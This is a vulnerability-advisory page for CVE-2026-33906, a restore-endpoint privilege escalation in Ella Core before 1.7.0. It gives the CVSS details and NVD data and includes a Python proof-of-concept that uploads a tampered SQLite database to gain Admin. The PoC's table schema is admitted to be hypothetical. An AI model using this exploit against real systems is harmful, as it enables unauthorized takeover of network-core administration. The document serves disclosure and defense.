Security Vulnerability Report
中文
CVE-2026-33906 CVSS 7.2 HIGH

CVE-2026-33906

Published: 2026-03-27 21:17:27
Last Modified: 2026-04-20 12:33:14

Description

Ella Core is a 5G core designed for private networks. Prior to version 1.7.0, the NetworkManager role was granted backup and restore permission. The restore endpoint accepted any valid SQLite file without verifying its contents. A NetworkManager could replace the production database with a tampered copy to escalate to Admin, gaining access to user management, audit logs, debug endpoints, and operator identity configuration that the role was explicitly denied. In version 1.7.0, backup and restore permissions have been removed from the NetworkManager role.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:* - VULNERABLE
Ella Core < 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sqlite3 import requests # 1. Create a malicious SQLite database # Assume the 'users' table stores role information conn = sqlite3.connect('malicious_backup.db') cursor = conn.cursor() # Create a dummy users table structure (hypothetical) cursor.execute('''CREATE TABLE IF NOT EXISTS users (username TEXT, role TEXT)''') # Insert or update the attacker's controlled user to Admin role cursor.execute("INSERT OR REPLACE INTO users (username, role) VALUES ('network_manager', 'Admin')") conn.commit() conn.close() # 2. Upload the malicious database to the restore endpoint # Attacker needs a valid NetworkManager session token target_url = "https://<ella-core-host>/api/v1/restore" auth_token = "<VALID_NETWORK_MANAGER_TOKEN>" headers = { "Authorization": f"Bearer {auth_token}" } files = { 'file': ('backup.db', open('malicious_backup.db', 'rb'), 'application/x-sqlite3') } response = requests.post(target_url, headers=headers, files=files) if response.status_code == 200: print("[+] Database restored successfully. Privilege escalation likely achieved.") else: print(f"[-] Failed to restore database. Status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33906", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:26.800", "lastModified": "2026-04-20T12:33:13.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Prior to version 1.7.0, the NetworkManager role was granted backup and restore permission. The restore endpoint accepted any valid SQLite file without verifying its contents. A NetworkManager could replace the production database with a tampered copy to escalate to Admin, gaining access to user management, audit logs, debug endpoints, and operator identity configuration that the role was explicitly denied. In version 1.7.0, backup and restore permissions have been removed from the NetworkManager role."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "9BAD1DBD-ED4B-49AB-A563-C4838F8F8979"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/commit/1e4768288a6519fcb63ec83f851584ecebb8a972", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellanetworks/core/releases/tag/v1.7.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-87j9-m7x6-hvw2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}